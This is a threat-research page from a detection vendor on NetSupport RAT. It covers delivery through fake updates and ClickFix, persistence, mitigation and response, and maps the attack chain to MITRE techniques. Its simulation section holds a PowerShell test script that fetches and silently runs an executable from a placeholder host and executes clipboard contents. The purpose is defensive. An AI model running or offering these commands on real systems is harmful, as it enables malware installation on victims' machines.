SOC Prime Bias: Medium

30 Jan 2026 20:14
newspaper icon picussecurity.com

How NetSupport RAT Abuses Legitimate Remote Admin Tool

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
How NetSupport RAT Abuses Legitimate Remote Admin Tool
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query


Summary

NetSupport RAT weaponizes the legitimate NetSupport Manager remote administration tool to enable covert monitoring and persistent control of compromised endpoints. Delivery commonly relies on social engineering—fake browser updates, drive-by downloads, and the ClickFix technique that convinces users to run malicious commands or scripts. After installation, the RAT places legitimate NetSupport binaries alongside attacker-supplied configuration artifacts, sets persistence through Run keys, Startup shortcuts, and scheduled tasks, and communicates with C2 infrastructure over HTTP/HTTPS. It may also support credential theft, lateral movement, and deployment of secondary payloads, including ransomware.

Investigation

The report walks through the full infection chain: lure-driven delivery (for example, malicious “update” prompts and ISO game-themed bait), followed by execution of a fake “fix” command that installs the RAT. Dropped components typically include client32.exe, client32.ini, NSM.lic, and supporting DLLs. Persistence was observed via HKCU Run modifications, shortcut creation in the Startup folder, and scheduled task registration. Post-compromise activity includes input manipulation, audio/video capture, file transfer, and use of tooling such as Impacket and ProcDump for lateral movement and credential dumping.

Mitigation

Block or tightly control execution of unauthorized or unsigned NetSupport Manager binaries and monitor for changes to HKCU\Software\Microsoft\Windows\CurrentVersion\Run. Apply egress controls for unknown HTTP/HTTPS destinations and inspect suspicious traffic patterns consistent with NetSupport configuration artifacts (including anomalous .ini handling). Enforce application allow-listing, enable PowerShell logging, and deploy endpoint detections for Startup shortcut creation and scheduled tasks tied to NetSupport executables. Keep legitimate remote administration tools updated and governed to reduce abuse opportunities.

Response

If detected, isolate the host, collect artifacts such as client32.exe, client32.ini, and related DLLs, and perform hash and timeline analysis. Hunt for persistence via Run keys, Startup shortcuts, and scheduled tasks, and remove any unauthorized entries. Identify and block associated C2 domains/IPs, eradicate malicious files, and restore known-good configurations. Follow up with credential rotation and environment-wide scanning for lateral movement traces.

"graph TB %% Class Definitions Section classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#c2f0c2 classDef builtin fill:#cccccc %% Step 1 u2013 Initial Access step1["<b>Action</b> – <b>T1204.001 User Execution: Malicious Link</b><br/>Victim clicks fake browser update or game installer link, downloads malicious JavaScript (Update_browser_10.6336.js) which drops NetSupport binaries."] class step1 action tool_js["<b>Tool</b> – <b>Name</b>: Update_browser_10.6336.js<br/><b>Description</b>: Malicious JavaScript used for driveu2011by download."] class tool_js tool malware_netsup["<b>Malware</b> – <b>Name</b>: NetSupport Manager binaries (client32.exe)<br/><b>Masquerading</b>: File type mimicking legitimate NetSupport client."] class malware_netsup malware step1 –>|delivers| tool_js tool_js –>|drops| malware_netsup %% Step 2 u2013 Content Injection step2["<b>Action</b> – <b>T1659 Content Injection</b><br/>Compromised websites serve the malicious payload via driveu2011by download."] class step2 action malware_netsup –>|served by| step2 %% Step 3 u2013 Malicious Copy Paste step3["<b>Action</b> – <b>T1204.004 User Execution: Malicious Copy and Paste</b><br/>Victim copies a fake u201cfixu201d command from a CAPTCHA page and pastes it into a Run or PowerShell window (ClickFix technique)."] class step3 action %% Step 4 u2013 PowerShell Execution process_ps["<b>Process</b> – <b>T1059.001 PowerShell</b><br/>Executes the copied script to install the RAT."] class process_ps process step3 –>|uses| process_ps %% Step 5 u2013 Registry Run Key Persistence step5["<b>Action</b> – <b>T1037.001 Registry Run Keys / Startup Folder</b><br/>Adds HKCU\Software\Microsoft\Windows\CurrentVersion\Run entry for autou2011execution."] class step5 action process_ps –>|creates| step5 %% Step 6 u2013 Active Setup Persistence step6["<b>Action</b> – <b>T1547.014 Active Setup</b><br/>Leverages same Run entry to achieve boot or logon autostart execution."] class step6 action step5 –>|enables| step6 %% Step 7 u2013 Shortcut Modification Persistence step7["<b>Action</b> – <b>T1547.009 Shortcut Modification</b><br/>Places .url shortcut in the user's Startup folder."] class step7 action step6 –>|leads to| step7 %% Step 8 u2013 Scheduled Task Persistence step8["<b>Action</b> – <b>T1053 Scheduled Task/Job</b><br/>Creates scheduled tasks with various triggers to maintain persistence."] class step8 action step7 –>|adds| step8 %% Step 9 u2013 Masquerading File Type step9["<b>Action</b> – <b>T1036.008 Masquerading: File Type</b><br/>Payload disguised as legitimate NetSupport Manager client32.exe."] class step9 action malware_netsup –>|masquerades as| step9 %% Step 10 u2013 Embedded Payloads step10["<b>Action</b> – <b>T1027.009 Embedded Payloads</b><br/>Malicious configuration (client32.ini) embedded within legitimate binaries."] class step10 action malware_netsup –>|contains| step10 %% Step 11 u2013 System Binary Proxy Execution step11["<b>Action</b> – <b>T1218 System Binary Proxy Execution</b><br/>Uses trusted NetSupport binaries to invoke malicious code."] class step11 action malware_netsup –>|proxy executes| step11 %% Step 12 u2013 Collection step12["<b>Action</b> – <b>T1113 Screen Capture, T1125 Video Capture, T1123 Audio Capture</b><br/>Captures screenshots, webcam video, and microphone audio."] class step12 action step11 –>|collects| step12 %% Step 13 u2013 Credential Dumping tool_procdump["<b>Tool</b> – <b>Name</b>: ProcDump<br/><b>Description</b>: Dumps LSASS memory for credential extraction."] class tool_procdump tool step13["<b>Action</b> – <b>T1003.007 OS Credential Dumping: Proc Filesystem</b><br/>Uses ProcDump to dump LSASS memory."] class step13 action step12 –>|enables| step13 step13 –>|uses| tool_procdump %% Step 14 u2013 Lateral Tool Transfer tool_imp["<b>Tool</b> – <b>Name</b>: Impacket<br/><b>Description</b>: Collection of Python classes for network protocols used for lateral movement."] class tool_imp tool step14["<b>Action</b> – <b>T1570 Lateral Tool Transfer</b><br/>Transfers additional tools such as Impacket to other hosts."] class step14 action step13 –>|facilitates| step14 step14 –>|transfers| tool_imp %% Step 15 u2013 Command and Control step15["<b>Action</b> – <b>T1071.001 Web Protocols</b>, <b>T1132.002 Nonu2011Standard Encoding</b>, <b>T1102.002 Bidirectional Communication</b>, <b>T1102.003 Oneu2011Way Communication</b>, <b>T1001 Data Obfuscation</b><br/>Communicates over HTTP/HTTPS, encodes C2 data, blends traffic with normal web traffic."] class step15 action step14 –>|establishes| step15 %% Step 16 u2013 Exfiltration step16["<b>Action</b> – <b>T1041 Exfiltration Over C2 Channel</b>, <b>T1052 Exfiltration Over Physical Medium</b><br/>Exfiltrates collected data via the C2 channel and may use physical media for audio files."] class step16 action step15 –>|exfiltrates| step16 %% Step 17 u2013 Discovery step17["<b>Action</b> – <b>T1592.002 Software Discovery</b><br/>Enumerates installed software and libraries on the victim host."] class step17 action step16 –>|triggers| step17 %% Styling Assignments class step1,step2,step3,step4,step5,step6,step7,step8,step9,step10,step11,step12,step13,step14,step15,step16,step17 action class tool_js,tool_procdump,tool_imp tool class malware_netsup malware class process_ps process "

Attack Flow

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

  • Attack Narrative & Commands:
    The attacker hosts a fake CAPTCHA page that displays a PowerShell script (e.g., a reverse‑shell downloader). The victim, believing they must “solve” the CAPTCHA, copies the script to the clipboard. The attacker then persuades the victim to run powershell -Command (Get-Clipboard) via the Windows Run dialog or a shortcut. PowerShell reads the script from the clipboard and executes it, creating the exact Get-Clipboard command line the rule watches for.

  • Regression Test Script:

    # ---------- Clipboard Poisoning ----------
# Step 1: Place a malicious PowerShell payload into the clipboard.
$malicious = @"
# Malicious payload – download and execute a remote back‑door
$url = 'http://malicious.example.com/bad.exe'
$out = "$env:TEMPbad.exe"
Invoke-WebRequest -Uri $url -OutFile $out
Start-Process -FilePath $out -WindowStyle Hidden
"@
$malicious | Set-Clipboard

# ---------- Trigger Execution ----------
# Step 2: Execute the clipboard contents via PowerShell.
powershell.exe -NoProfile -WindowStyle Hidden -Command "Get-Clipboard | Invoke-Expression"

  • Cleanup Commands:

    # Remove malicious file if it was downloaded
Remove-Item -Path "$env:TEMPbad.exe" -ErrorAction SilentlyContinue

# Clear the clipboard
Set-Clipboard -Value $null

Join SOC Prime's Detection as Code platform to improve visibility into threats most relevant to your business. To help you get started and drive immediate value, book a meeting now with SOC Prime experts.

Join for Free